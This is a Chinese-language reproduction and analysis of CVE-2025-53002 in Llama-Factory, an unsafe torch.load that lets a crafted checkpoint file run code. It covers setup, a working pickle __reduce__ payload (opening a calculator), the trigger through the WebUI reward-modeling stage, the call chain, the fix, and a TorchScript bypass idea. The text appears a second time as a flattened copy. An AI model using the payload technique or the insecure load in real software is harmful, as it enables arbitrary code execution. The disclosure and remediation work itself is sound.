Llama-Factory 代码执行漏洞详细分析
字数 1905 2025-09-23 19:27:38

🚨 1. 漏洞概述

  • 漏洞编号:CVE-2025-53002
  • 影响组件:Llama-Factory(<= v0.9.3)
  • 漏洞类型:代码执行(反序列化漏洞)
  • 触发条件
    • 使用 Torch < 2.6 版本(默认 weights_only=False
    • 通过 WebUI 设置恶意 Checkpoint 路径
  • 根本原因torch.load() 未设置 weights_only=True,导致恶意 Pickle 反序列化执行代码。

📦 2. 环境搭建(复现环境)

2.1 依赖环境

git clone --depth 1 https://github.com/hiyouga/LLaMA-Factory.git
cd LLaMA-Factory
conda create -n llama-factory python=3.10
conda activate llama-factory
pip install -e ".[torch,metrics]"

2.2 安装 PyTorch

根据 CUDA 版本从 PyTorch 官网选择对应命令安装(需 < 2.6)。

2.3 验证环境

import torch
print("Torch version:", torch.__version__)
print("Is CUDA available:", torch.cuda.is_available())

2.4 模拟漏洞环境

修改文件:src/llamafactory/model/model_utils/valuehead.py
torch.load(vhead_file, map_location="cpu") 改为:

torch.load(vhead_file, map_location="cpu", weights_only=False)  # 模拟漏洞

⚡ 3. 漏洞复现步骤

3.1 准备恶意模型

  1. 下载合法模型(如 tiny-random-Llama-3)到本地。
  2. 生成恶意 value_head.bin 文件(替换原文件):
import torch
import pickle
import os

class Exploit:
    def __reduce__(self):
        return os.system, ("calc",)  # Windows 弹计算器

payload = pickle.dumps(Exploit())
with open("value_head.bin", "wb") as f:
    f.write(payload)

3.2 配置 WebUI

  1. 启动 WebUI:
llamafactory-cli webui
  1. 配置训练任务:
    • Model Name: 选择或输入本地模型路径
    • Checkpoint Path: 指向包含恶意 value_head.bin 的目录
    • Stage: 选择 Reward Modeling
    • Dataset: 任意数据集(如 example
  2. 点击 Start,触发代码执行(如弹出计算器)。

🔍 4. 漏洞分析

4.1 调用链梳理

WebUI 输入 Checkpoint Path
→ model_args.adapter_name_or_path[-1]
→ cached_file(filename="value_head.bin", path_or_repo_id=checkpoint_path)
→ load_valuehead_params(vhead_file=malicious_file)
→ torch.load(vhead_file, weights_only=False)  // 触发反序列化

4.2 关键代码位置

  • 漏洞函数src/llamafactory/model/model_utils/valuehead.pyload_valuehead_params()
  • 调用入口src/llamafactory/model/loader.pyload_model()
  • 触发条件:Stage 为 Reward Modeling(调用 run_rm()

4.3 为什么是 Reward Modeling?

  • 只有该阶段会加载 valuehead 模型并调用 load_valuehead_params()

🛠️ 5. 漏洞修复方案

5.1 官方修复

torch.load() 中显式添加 weights_only=True

torch.load(vhead_file, map_location="cpu", weights_only=True)

5.2 用户建议

  • 升级 Llama-Factory 至 v0.9.3+
  • 确保 Torch ≥ 2.6(默认 weights_only=True

🔥 6. 漏洞扩展:Bypass weights_only=True?

6.1 TorchScript 加载机制

即使设置 weights_only=True,仍可通过 torch.jit.load() 加载 TorchScript 模型(.pt 文件),其支持调用运算符(如 aten::save)实现文件写入/RCE。

6.2 利用条件(已修复)

  • 需绕过 model.load_state_dict() 的字典类型检查(最新版已修复)。
  • 需编译 TorchScript 模型并重写 forward 方法调用恶意运算符。

6.3 最新版本防护

  • Torch 2.6+ 默认启用 weights_only=True
  • Llama-Factory 显式启用安全参数
  • TorchScript 恶意模型加载已被限制

✅ 7. 总结

项目 说明
漏洞类型 代码执行(反序列化)
影响版本 Llama-Factory ≤ v0.9.3 + Torch < 2.6
触发方式 恶意 Checkpoint 路径 + Reward Modeling 阶段
修复方案 添加 weights_only=True + 升级 Torch
扩展风险 TorchScript 运算符滥用(已修复)

📚 参考资料

  1. Llama-Factory GitHub Advisory
  2. Torch weights_only 机制
  3. Black Hat USA 2025: Safe Harbor or Hostile Waters

如果有新的复现需求或技术细节探讨,可以进一步提供环境配置或漏洞利用样本。

🚨 1. 漏洞概述 漏洞编号 :CVE-2025-53002 影响组件 :Llama-Factory( <= v0.9.3) 漏洞类型 :代码执行(反序列化漏洞) 触发条件 : 使用 Torch < 2.6 版本(默认 weights_only=False ) 通过 WebUI 设置恶意 Checkpoint 路径 根本原因 : torch.load() 未设置 weights_only=True ,导致恶意 Pickle 反序列化执行代码。 📦 2. 环境搭建(复现环境) 2.1 依赖环境 2.2 安装 PyTorch 根据 CUDA 版本从 PyTorch 官网 选择对应命令安装(需 < 2.6)。 2.3 验证环境 2.4 模拟漏洞环境 修改文件: src/llamafactory/model/model_utils/valuehead.py 将 torch.load(vhead_file, map_location="cpu") 改为: ⚡ 3. 漏洞复现步骤 3.1 准备恶意模型 下载合法模型(如 tiny-random-Llama-3 )到本地。 生成恶意 value_head.bin 文件(替换原文件): 3.2 配置 WebUI 启动 WebUI: 配置训练任务: Model Name : 选择或输入本地模型路径 Checkpoint Path : 指向包含恶意 value_head.bin 的目录 Stage : 选择 Reward Modeling Dataset : 任意数据集(如 example ) 点击 Start ,触发代码执行(如弹出计算器)。 🔍 4. 漏洞分析 4.1 调用链梳理 4.2 关键代码位置 漏洞函数 : src/llamafactory/model/model_utils/valuehead.py → load_valuehead_params() 调用入口 : src/llamafactory/model/loader.py → load_model() 触发条件 :Stage 为 Reward Modeling (调用 run_rm() ) 4.3 为什么是 Reward Modeling? 只有该阶段会加载 valuehead 模型并调用 load_valuehead_params() 。 🛠️ 5. 漏洞修复方案 5.1 官方修复 在 torch.load() 中显式添加 weights_only=True : 5.2 用户建议 升级 Llama-Factory 至 v0.9.3+ 确保 Torch ≥ 2.6(默认 weights_only=True ) 🔥 6. 漏洞扩展:Bypass weights_ only=True? 6.1 TorchScript 加载机制 即使设置 weights_only=True ,仍可通过 torch.jit.load() 加载 TorchScript 模型(.pt 文件),其支持调用运算符(如 aten::save )实现文件写入/RCE。 6.2 利用条件(已修复) 需绕过 model.load_state_dict() 的字典类型检查(最新版已修复)。 需编译 TorchScript 模型并重写 forward 方法调用恶意运算符。 6.3 最新版本防护 Torch 2.6+ 默认启用 weights_only=True Llama-Factory 显式启用安全参数 TorchScript 恶意模型加载已被限制 ✅ 7. 总结 | 项目 | 说明 | |------|------| | 漏洞类型 | 代码执行(反序列化) | | 影响版本 | Llama-Factory ≤ v0.9.3 + Torch < 2.6 | | 触发方式 | 恶意 Checkpoint 路径 + Reward Modeling 阶段 | | 修复方案 | 添加 weights_only=True + 升级 Torch | | 扩展风险 | TorchScript 运算符滥用(已修复) | 📚 参考资料 Llama-Factory GitHub Advisory Torch weights_ only 机制 Black Hat USA 2025: Safe Harbor or Hostile Waters 如果有新的复现需求或技术细节探讨,可以进一步提供环境配置或漏洞利用样本。